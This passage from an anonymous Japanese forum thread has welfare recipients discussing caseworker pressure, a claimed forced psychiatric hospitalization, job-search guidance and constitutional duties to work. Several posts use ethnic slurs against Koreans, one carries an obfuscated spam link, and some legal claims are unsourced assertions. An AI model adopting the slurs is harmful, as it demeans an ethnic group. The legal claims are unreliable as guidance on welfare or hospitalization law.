ここで、ちょっと下を見てほしいんだ。似てると思わないか？
・生活保護よりブラックで働くほうがキツイ。だから就労支援を回避。
・精神病院より救護施設のほうが絶望的。だから退院を回避。
530:516
14/12/05 01:38:01.79 .net
>>518-519
家族の同意？：ケースワーカーが入院を決め、当日は移送に協力するように指導した。そもそも家族は当人を嫌っていて入院させたがっていた。それに就労指導にびくびくしていてケースワーカーに無抵抗だった。
・当日は路上で騒動になり、通行人の通報により私服警察官がたくさんやってきた。みんなで生活保護課の車に押し込み、病院に連れていった。
当人は普段は大人しいが入院に抵抗した。ケースワーカーが移送中暴言を浴びせた。
・病院は生活保護課が見つけてきた遠方(市外)の病院。市内の病院はどこも満員な上に長期入院は受け付けていないらしかった。
・入院前の医療保護入院、措置入院、応急入院といった正式な強制入院の公式書類は未確認である。入院後に病院が家族に成年後見制度と医療保護入院の手続きをさせた。
531:520
14/12/05 01:55:05.61 .net
自分がここに書き込んだのは全てマジレスだから。
>>520 の救護施設について説明するけど、もしかしたら、いわゆる「貧困ビジネス」の囲い屋も当てはまるのかもしれない。あいつらあれで認可貰ってる。
生活保護はありとあらゆるブラックが群がっている。ブラック企業、ブラック病院、ブラック施設・・・
救護施設
URLﾘﾝｸ(ja.wikipedia.org)
囲い屋
URLﾘﾝｸ(ja.wikipedia.org)
【囲い屋】貧困ビジネスの功罪
URLﾘﾝｸ(ameblo.jp)
受給者のための、アパートというか寮のようなものである。
運営は自治体の認可を受けておこなわれるが、その実態は大きく分けて２つある。
１つは、個人やNPOなどがおこなう「福祉的・ボランティア的」なものだ。
ところが、もう１つは「あくまでビジネス」として行われるものだ。どうも不動産業の会社が手を出すことが多いようである。
ビジネスなので、儲けが出ないといけない。しかし、お客は生活保護（プラス、住居補助など）しか得ていない超ビンボー人相手となる。
532:今日のところは名無しで
14/12/05 01:58:33.73 .net
>>521
だから家族がそいつを嫌っていたから入院に同意して強制入院になったって事じゃないのか？
ケースワーカーごときが入院を決める権限なんてないし、措置入院は犯罪行為を犯さない限り無いはずだし、応急入院も確か家族の同意が必要だったはず。
移送された時は家族も車で一緒に行ったのか？
行ってないのなら電話口で家族をしつこく説得させて入院に同意させたからとりあえず応急入院させて、あとから医療保護入院の手続きをさせたってとこだろうが、この医療保護入院の手続きを家族が拒否ってれば医療保護入院の手続きは出来ないはずだから入院は不可能だよ。
強制入院させられた原因はケースワーカーが決めたのではなく、本人を嫌っていた家族の同意があったからだろって事。
533:今日のところは名無しで
14/12/05 01:59:24.03 .net
私は、欝及び睡眠障害で就労不可です。
病院の先生に
「今のあなたの仕事は眠ることです。」と、睡眠薬２種類を処方されました。
534:520
14/12/05 02:12:05.17 .net
>だから家族がそいつを嫌っていたから入院に同意して強制入院になったって事じゃないのか？
>ケースワーカーごときが入院を決める権限なんてないし、措置入院は犯罪行為を犯さない限り無いはずだし、応急入院も確か家族の同意が必要だったはず。
>移送された時は家族も車で一緒に行ったのか？
・少なくとも入院の宣告に異議を唱えなかった。
・入院はケースワーカーが決めた。電話口で「迷惑行為の苦情が寄せられたから入院させる」と言った。病院はケースワーカーが見つけてきた。車もケースワーカーが用意した。
移送はケースワーカーに協力するよう指導された。しかしそれらを証明する書類は全く無い。全部口頭。
応急入院に必要なのは知事の指示書。その応急入院の書類も無い。
ケースワーカーは職権で一応受診指導できるが、連行の権限まであるのか不明。
・車で病院までついていった。到着後、付き添いは病院の指示で別室で待たされた。当人は一人で初診を受け、そのまま病棟の奥へ消えていった。
その後、病院の指示で成年後見と医療保護入院の手続きをした。
その後は全て病院任せでずっと長期入院。
535:520
14/12/05 02:21:46.81 .net
応急入院の条件を間違えた。しかし指定医の診断書等の書類は確認していない。
URLﾘﾝｸ(www.byouin.metro.tokyo.jp)
任意入院：当院の医師が治療のために必要と診断した場合に、ご本人の同意のもとに行っていただく入院です。ただし、72時間に限り、精神保健指定医の判断により退院を制限することがあります。
医療保護入院：患者さんご本人の同意がなくても、指定医が入院の必要性を認め、保護者が入院に同意したときの入院です。精神保健福祉法に基づく保護者とは、次のような方です。
患者さんに後見人がいる場合：後見人
患者さんが未成年の場合：親
患者さんに配偶者がいる場合：配偶者
上記以外の場合：２０才以上の親、子、兄弟姉妹、祖父母、孫など（扶養義務者）のうち家庭裁判所で保護者の選任審判を受けた方
さらに4.以外の場合：居住地の市区町村長
応急入院：患者さんご本人または保護者･扶養義務者の同意がなくても、精神保健指定医が緊急の入院が必要と認めたとき72時間を限度として行われる入院です。
措置入院：自傷他害の恐れがある場合で、知事の診察命令による２人の精神保健指定医が診察の結果、入院が必要と認められたとき知事の決定によって行われる入院です。
緊急措置入院：正規の措置入院の手続きがとれず、しかも急速を要する場合、72時間を限って１人の精神保健指定医の診察の結果により、知事の決定によって行われる入院です。
536:今日のところは名無しで
14/12/05 02:22:15.09 .net
仕事は見つかるよ 身体さえ元気なら
537:今日のところは名無しで
14/12/05 02:57:50.87 .net
自己判断能力が無いキチガイが家族の同意で強制入院しただけやん
538:520
14/12/05 04:06:06.05 .net
>>528
医療保護の手続きをしてしまった以上、家族の同意という形になったわけだけど、入院決定のずっと前から、ケースワーカーは家族に当人を入院させるように指導してた。
しかし入院先の病院など見つからなかった。本人に自傷他害の恐れはないから強制入院は必用なく、出来ない。だから病院からも、本人が自分から病院に行くしかないと言われていた。指定医の診断も当然無い。
そこで、生活保護ケースワーカーが勝手に病院に連行したわけですよ。
なぜかというと、本格的に就労指導をかけて自立させるのに、世帯内に生活能力を欠く病人がいるのは邪魔だからです。だから役所はお荷物を社会的入院させて世帯から分離させたがっていたのです。
当人が入院させられてから就労指導がいっそう厳しくなりました。
539:今日のところは名無しで
14/12/05 04:42:21.70 .net
ありがとう、アベノミクス
○消費増税５％→８％ →10%
○所得税増税
○住民税増税
○相続税増税
○年金支給0.7％減額
○国民年金料引き上げ
○高齢者医療費負担増
○診療報酬引き上げ（医療費値上げ）
○国民保険料高齢者引き上げ
○40－64歳介護保険料引き上げ
○児童扶養手当減額
○石油石炭税増税ガソリン代リッター５円ＵＰ！
○電力料金大幅値上げ
○高速料金大幅値上げ ＥＴＣ割引縮小
○公務員給与8%減額停止
○公務員ボーナス11．3％増額
○生活保護三年連続減額中
○軽自動車税は、現在の7200円から1.5倍の10800円に値上げ
○配偶者控除、廃止
○タバコ５％増税
○法人税減税の財源に配当や売却にかかる税率の引き上げ
○大病院の初診料１万円
○固定資産税増税
○議員歳費20%削減廃止
○残業代ゼロ合法化（※公務員は除く）
○公務員給料増額
540:今日のところは名無しで
14/12/05 04:48:45.51 .net
>>500
履歴書を毎週のように書いて面接に行きたくない人
ＣＷの顔を観たくない人
暇な時間を有意義に過ごしたい人
これを労働の意思がないという
直接いえば確実にアウト
またやりたくないとここで公表すること事態が
受給者の印象を悪くするこことの工作員とやってる事かわらない
おまえ本当に工作員ｄろ？
541:今日のところは名無しで
14/12/05 04:51:42.64 .net
>>501
憲法18条は奴隷的拘束すなわち本人の意思や許可のない労働を禁じたもの
労働の義務自体を否定はしてない。
それを勝手に曲解し自分がやりたくないから働かなくていいことだと
お前が勝手に思ってるだけ。
そんな子供でもわかる屁理屈で世の中通じるわけないだろ。
洗脳でも家畜でもなくてお前が甘えた幼稚で非常識で頭悪いだけ。
542:今日のところは名無しで
14/12/05 05:02:20.85 .net
例えば受給者は無理矢理福島原発で働けとかなら
これは強制労働で確実に18条違反に該当する。
でも一応生活保護の指導については指導の名の下に制限されているとはいえ
それを選択できる自由はあるわけだからこれは強制労働に当たらない。
そして27条により働く義務を遂行しないといけない。
543:今日のところは名無しで
14/12/05 07:00:34.34 .net
長文はかまってちゃん
レス乞食だから丁寧な言葉遣いになりがち
544:今日のところは名無しで
14/12/05 07:47:43.83 .net
今まで一回目の警告を受けた(口頭での警告)という書き込みはあった。
二回目の警告(文書による警告)を受けた人はいるかな。
545:今日のところは名無しで
14/12/05 08:07:53.05 .net
以前CWに不安な事ありますか？と聞かれて突然打ち切りになることですってさ答えたらそれはないと言われたけど
そのCWは今のCWは違うからアテにはならない
546:今日のところは名無しで
14/12/05 08:11:36.90 .net
>>536
それに関しては大丈夫
法律で決まってるので突然打ち切られる事は絶対にない
547:今日のところは名無しで
14/12/05 08:12:10.53 .net
>>534
朝鮮人は日本語不自由だから
3行以上は辛いのでそう書くんだとさｗ
548:今日のところは名無しで
14/12/05 08:59:09.25 .net
>>531
>>またやりたくないとここで公表すること事態が
>>受給者の印象を悪くするこことの工作員とやってる事かわらない
まあ、そうなんだけどね。
このスレは大事にしたいから、本音を書くときは少しためらうよ。
でもさ、よく考えてみれば、模範的な書き込みをしても叩くやつは叩くんだよな。
たとえ生活保護を正しく利用していたとしても、そんなの関係ねえって感じで。俺が憎いんだから憎いんだと。
妬み、ルサンチマン、自分にないものを持ってるヤツへの憎しみ……それは人間の中から消えないんだよな。
549:今日のところは名無しで
14/12/05 09:04:54.29 .net
>>539
２ｃｈだからな
どれだけまともで素晴らしい意見でも正しい評価をされるとは限らない
よくいる基地害チョンにかかったらカレーもうんこも同じ
だがそれとは関係なく受給者に不利になるような発言をするのは
自分の首を絞める行為で愚かとしかいいようがない
だって結果的に工作員や荒らしと同じ事をやっているのだから
もっと自分の立場周囲の状況そしてその影響そういう先の事まで考えて発言しろって話
正しい評価されたいのならこんな落書き場ではなくもっとしかるところで書くべき話
君が賢いのならばそこまで考えて発言するべき
550:今日のところは名無しで
14/12/05 09:14:37.13 .net
>>536
>以前CWに不安な事ありますか？と聞かれて・・・
そんな事を聞いてくるCWがいるのか
俺はハロワ毎日行け、仕事見つかったか、面接受けろというCW（今まで二人）しか知らん
551:今日のところは名無しで
14/12/05 09:49:09.50 .net
横柄な態度のCWが担当になったら都道府県庁の担当部署に文句言えばいい
見違えるほど大人しくなる
552:今日のところは名無しで
14/12/05 10:44:29.70 .net
>>526
なるほどよく解った詳しくありがとう。
じゃあ応急入院や緊急措置入院を回避する方法ってある？
恐らく俺も含めこのスレの住人が知りたいのはこの事だと思うんだ。
よろしく頼む。
553:今日のところは名無しで
14/12/05 10:59:47.84 .net
暇つぶしにハロワ行ってきま～す(ﾟ∀ﾟ)
554:今日のところは名無しで
14/12/05 11:08:30.56 .net
>>544
�
555:ｱうやって悪い印象を与えるのが工作員の目的だからなｗ
556:今日のところは名無しで
14/12/05 11:19:22.90 .net
ここで登録したらいい事あった!!
sn♪n2ch.♪n♪et/lk♪j3/112♪6.jpg
♪は外す！
557:今日のところは名無しで
14/12/05 11:21:58.17 .net
ていうかさ、どの道ワープアしかないんだよね
558:526
14/12/05 11:53:42.10 .net
>>543 よくわからない。ウチのは応急入院でも緊急入院でも措置入院でもない。生活保護ケースワーカーがブラック病院に勝手に連れていって入院させただけ。ちなみに愛知県の話。
言えることは、生活保護受給中にホームレス行為をしない、路上のゴミを無闇に漁らない、無闇に徘徊しないことかな。
ウチのはそれを理由にしてケースワーカーが勝手に入院させた。その後10年ぐらい入院を継続中。措置入院の書類は無い。
ちなみに生活保護受給中に措置入院になると、生活保護は廃止されます。
ウチのは廃止にならなかったから措置入院ではない。しかし誰かにこの入院の正当性について相談しても、措置入院扱いして話を聞いてくれない。
URLﾘﾝｸ(okwave.jp)
>お書きになっているとおり、措置入院等となるといったん生活保護は廃止となります。
>退院時や任意入院への以降の際に、あらためて生活保護の必要性が検討され、調整されることになります。
>福祉事務所の職員や病院ソーシャルワーカーなどがきちんと相談にのってくれます。
>それまでは退院や入院形態の切り替えは待ってもらえるのが一般的な運用であり、追い出されるということはありません。
559:今日のところは名無しで
14/12/05 11:55:31.85 .net
私は、健常者ナマポで就労可です。
自分自身に強く言い聞かせいます。
「今のあなたの仕事は就労指導員の爺さんとケースワーカーの働け攻撃から身を守る事。」ケースワーカーから和民の募集を貰いました。
560:526
14/12/05 11:56:19.84 .net
生活保護課が受給者を勝手に入院させた事件は他にもある。
伊藤病院事件
URLﾘﾝｸ(yabusaka.moo.jp)
1969年5月 千葉・伊藤病院不当入院事件
千葉県東金市に住むAは結核を患い生活保護を得て自宅療養していた。1969年5月、Aが自宅でひとりでいる時、東金福祉事務所のケースワーカーなど4～5名が、突然家を訪れた。
そのなかには伊藤病院の職員が保健所職員と偽って入っていた。その職員は、「血圧を測る」と騙してAに麻酔薬を注射、眠ったところを車に運び、病院に連れていった。
Aはその後、5年3ヶ月余り、閉鎖病棟に閉じ込められていた。74年9月30日、ようやく退院を許可されたAは、その足で新聞社に向かい、不当入院による人権侵害を訴えた。
▽75年1月、Aは不当拘禁に対する慰謝料1000万円を求める民事訴訟を起こす。この裁判を通して、病院と県の癒着が浮かび上がり、さまざまな問題が明るみになった。
▽79年9月、民事訴訟は裁判所の勧告で和解となり、病院側は非を認め、Aに650万円支払うこととなった。
561:今日のところは名無しで
14/12/05 12:02:39.45 .net
履歴書に「現在、生活保護受給中」って記入した猛者はいる？
562:今日のところは名無しで
14/12/05 12:11:42.79 .net
>>540
ごもっともな話だが……。
しかし２ちゃんがあり、こういうスレが存在している以上、何をどうあがいても無駄なとこはあるよ。
不利になる書き込みはスルーするしかあるまい。
また吉本の芸人のような、こことは違うレベルのことで拡散されることだってあるのだから。
すべてを監視し、取り締まることなど不可能だ。
そんなことは潔癖症の人間が考えやすくて、また陥りやすいワナだ。
>>もっと自分の立場周囲の状況そしてその影響そういう先の事まで考えて発言しろって話
自分が見本となっていくしかないね。そしてそれを誰も真似してくれなくても文句を言わない。
そんなのは自分がウツになるだけだから、あまりオススメはしないよ。
だって、いくら気をつけていても事故は起きるんだからね。
>>正しい評価されたいのならこんな落書き場ではなくもっとしかるところで書くべき話
いや、評価をされたいとは思ってないよ。
自分が無理しない範囲の中での正しいと思う意見は言うが、しかしそれは世の中にとって良いことかは不明。
あくまで自己防衛であり、俺は俺の望む、安心できる暮らしを守りたいだけ。
それを脅かすなら戦うし、知恵も使う。
ここのスレには、良い意見もダメな見本の書き込みも含めて、ヒントになるから大事にしたいと思ってるよ。
それだけだよ。
563:今日のところは名無しで
14/12/05 12:11:45.91 .net
>>551
書かなくてもバレる 保険書提出求めるとこ 多いから
564:今日のところは名無しで
14/12/05 12:14:13.46 .net
>>553
マジか…
565:今日のところは名無しで
14/12/05 12:29:15.54 .net
>>532
あら、まだやってんの？
＞奴隷的拘束
じゃなくて、「意に反する苦役」の方ね
要は「労働の義務」が強制かどうかが論点
どうしても矛盾があるんだよね
例えば「納税の義務」は強制でしょ？
一生懸命みたいだけどズレてるんだよね
憲法解釈まで行きそうだから頭悪そうな君には無理なんだよ
566:今日のところは名無しで
14/12/05 12:38:41.72 .net
こんな年末に仕事探せって～のは無理
567:今日のところは名無しで
14/12/05 12:42:50.65 .net
ナマポンクエストⅢ
そして入院へ
568:今日のところは名無しで
14/12/05 12:52:18.38 .net
ブラック病院が儲かるのー
暖房代掛からないからいいか
569:今日のところは名無しで
14/12/05 12:57:47.39 .net
郵便局から年末アルバイトの誘い来たけど断ったよ
車無いから朝７時までに出勤できないし
歩くにしても片道7km雪道で歩道が無くなってたりで危険だし
570:今日のところは名無しで
14/12/05 13:06:55.32 .net
>>549
ちゃんと面接行かないと打ち切りだよ
571:今日のところは名無しで
14/12/05 14:01:04.61 .net
>>556
単発ならあるよ 郵便局の年賀状の仕分けとか 他にも年末ならではのバイトはあるはず 配達集積場の荷物の梱包仕分けなど 単発でもやっておくと役所への印象は悪くはないはず
572:今日のところは名無しで
14/12/05 14:08:46.09 .net
郵便局は小娘ばかり採ったから、経験者のわたしでも落選通知食らった！
派遣は３日間仕事もらったが年内はこれだけ
573:今日のところは名無しで
14/12/05 14:14:29.65 .net
倉庫のバイト 850円×8時間=6800円
6800円×6日=40800円
40800円×4週=163200円
163200円－（税金・国民健康保険料・年金）=
574:今日のところは名無しで
14/12/05 14:16:29.63 .net
>>552
無駄じゃない。
他人はともかく少なくともお前自身は不利になることについて気をつけないのならば
荒らしと同然なわけだから荒らし扱いするだけだ。
本当に賢い人間がたまに書き込んでいるのを見かけたことがあるが
その人はその不利になるような事をわからないような形で書きつつ
なおかつ誰が見ても監視されていても問題がないような書き方をしてる人がいた。
なるほど頭がいいと思ったし生活保護でも賢い人はいるのだと感心したことがある。
ばれないかもしれないとか願望込みで無策でいいとかまるでいつもの中卒チョンの考え方だし
不可能じゃなくてお前の頭が悪いだけ。
というかその都合のいい考え方頭の悪さは例の中卒チョンの荒らし自身だったりしてなｗ
575:今日のところは名無しで
14/12/05 14:17:38.06 .net
>>563
体壊して入院したらアウトだね・・・
その収入だと入院費用が払えないだろうけど・・・
576:今日のところは名無しで
14/12/05 14:17:54.09 .net
>>552
吉本の芸人さんって河本さんでしょ？ウチらはあんなドジは踏まないよねw
577:今日のところは名無しで
14/12/05 14:23:04.52 .net
>>555
だから一般的に見て生活保護における指導は意に反する苦役に当たらない
だって制限付きながら選択の自由はあるし本人が納得しないのなら断れるのだから。
納税はまた別の法律になるから全く関係がない。
職業選択の自由と労働の義務を混同してる初歩的なミスをして勝手な解釈をしてる
子供のような幼稚な屁理屈はどこへいってもつうじない。
その馬鹿な解釈をそのままCWにいってみろ
馬鹿にされて指導されるだけだ。
そしてそんなガキっぽい非常識な考えしか出来ないから
働いたことのないしかも学歴の低いニートだって丸わかりなんだよｗ
578:今日のところは名無しで
14/12/05 14:29:27.31 .net
>>563
稼ぎすぎるとナマポ切られるぞ！
579:今日のところは名無しで
14/12/05 14:31:20.69 .net
義務をおこたり権利をむさぼる
580:今日のところは名無しで
14/12/05 14:33:46.70 .net
>>569
まさに不正ばかり考えてる朝鮮人だよな
581:今日のところは名無しで
14/12/05 14:39:20.29 .net
>>563 は昔のバイトの話
582:今日のところは名無しで
14/12/05 14:57:32.88 .net
>>563
ナマポ抜け出来るな、おめでとう
583:今日のところは名無しで
14/12/05 15:01:54.70 .net
自分好みの書き込みじゃないからってムキになって偉そうに説教ｗ
リアルで無力なんだからここでも無力とそろそろ気づけ 無自覚自治厨 スレの雰囲気なんてコントロールできねーよ
584:今日のところは名無しで
14/12/05 15:03:52.42 .net
支援員から倉庫の仕事すすめられたけど
どんな仕事なの？５１歳で今まで肉体労働の
経験はまったくありません。
585:今日のところは名無しで
14/12/05 15:04:43.33 .net
この無知で世間知らずで非常識なくせに
法律の専門家でもないのに自分の勝手な解釈をして通じると思ってるところは
例の朝鮮荒らし紙オムツ屋形だろうねｗ
586:今日のところは名無しで
14/12/05 15:08:08.51 .net
>>574
何かを始めるのに遅すぎるなんてこはない！って聞いたことあるけど現実はそうでもないから要注意
587:今日のところは名無しで
14/12/05 15:16:17.64 .net
貴様と俺とは 同期のナマポ
同じ事務所の 庭に咲く
保護費分けたる 仲ではないが
何故か気がおうて 離れられぬ
588:今日のところは名無しで
14/12/05 15:19:49.67 .net
>>564
俺は自分のことを賢いと書くつもりはないが、思い込みで語るお前も相当なバカだな？
>>他人はともかく少なくともお前自身は不利になることについて気をつけないのならば
少なくとも俺は不利になっていない。
かわす術を学んだから。
本当に不利なことなら、無視するよ。わざわざ騒いで、不利だと自分から言うのがバカだろ？
不利なことは涼しい顔してごまかすんだよ！ 通り過ぎるのを待つんだよ！
それから不利なこと書くなとも言わないんだよ！
敵にみすみす知られるようなことをしてバカだろ？
自分の弱点はココですよと知らせてしまうバカは負けて当然だろうが。違うか？
>>その人はその不利になるような事をわからないような形で書きつつ
俺もそういう人の書き込みを見たから、２ちゃんのこういうスレも捨てたモンじゃないと思ってるよ。
そういうのは本当に賢い人だし、たまにしか書かないだろうが。
いることがわかるだけでも心強いものだ。
>>ばれないかもしれないとか願望込みで無策でいいとかまるでいつもの中卒チョンの考え方だし
そんなこと俺は書いてないんだが？（笑）
俺は関西出身だからチョンとは、よくケンカしたよ。仲間を連れて仕返しに来る連中の怖さも知ってる。
中卒なのは当たってるよ。
高校に入学して一週間で中退したから、実質、中卒と一緒だ。
チョンは周囲にいっぱい居たから、チョンらしさに感染してるかもな（笑）。まあ、どっちでもいいよ。
これで満足か？ 妄想好き男さん（笑）。
589:今日のところは名無しで
14/12/05 15:21:05.80 .net
>>574
倉庫の仕事はピンキリだね。
軽い荷物をちょいちょい運ぶ仕事とかピッキング作業もあれば、
腰が痛くなるような重量物をしょっちゆう持ち運ぶ場合もあるから、
応募する時には実際に見学に行くことをお勧めする。
軽い荷物を扱う倉庫作業だったら、50歳でも十分出来ると思うよ。
590:今日のところは名無しで
14/12/05 15:22:51.10 .net
運送系の倉庫はやめたほうがいい
拘束時間長い上に、とにかくハード
591:今日のところは名無しで
14/12/05 15:27:56.30 .net
キチガイ長文 何らかの精神疾患あるから精神科行けば就労不可もらえるかもよ
592:今日のところは名無しで
14/12/05 15:36:42.90 .net
>>578
頭も悪いがまさに朝鮮人的な自己中な思考の性格の悪さだな。
まず勘違いしてるようだが生活保護者全体について不利になるかどうかだ。
お前個人の不利益ですむのならどうでもいい話だが
その発言で他の生活保護者に不利益になるような発言をするなという話。
ここでその手口や考えをここで工作してる荒らしやCWなどの関係者も見てる可能性がある以上
クビを絞めているかもしれないから気をつけろと言うも理解出来ず
自分は対処出来る平気だという理由でやるのならばやっぱり
頭に加えて性格も腐ってるとしかいいようがない。
間違いなくお前は最低な頭も悪いチョンの思考と性格してるし
いつもの荒らしだろうね。
593:今日のところは名無しで
14/12/05 15:39:00.32 .net
だから例の基地害チョン荒らし紙オムツ屋形だって
その朝鮮人の頭の悪い卑しい下劣な思考まではごまかせない
594:今日のところは名無しで
14/12/05 15:46:34.22 .net
河本がいい例だな
あのボケの手口が発覚したせいで
生活保護者みんなが叩かれたあげく改正して
一部の屑のためにますます全体でクビを絞める結果になった
もっともここの荒らしや工作員はそれが目的で悪印象を与えている工作をしてるし
こいつはそれを助長させ発覚させるのが目的なんだろうけどね
595:今日のところは名無しで
14/12/05 15:56:36.44 .net
>>582
よくわからんが、お前はお前の考えでやればいいじゃないか。
ただ、お前の価値観だけを俺や周囲に押しつけるのは迷惑だから、やめようねといってるだけだ。
俺は俺のやり方でやるし、気が向いたらアドバイスもするし、質問もする。
お前はお前のやり方でやればいいじゃないか。
ただ、お前はこのスレのリーダーでも何でもないんだから、そこんところは自覚しろよ？ 勘違いするなよ？
それだけだ。
以上！
596:今日のところは名無しで
14/12/05 16:01:34.38 .net
ハロワが休みの日は外で立ってろよ
そしたら打ち切られないから
597:今日のところは名無しで
14/12/05 16:09:59.38 .net
>>586
365日、外で立ってたら打ち切りなしだよね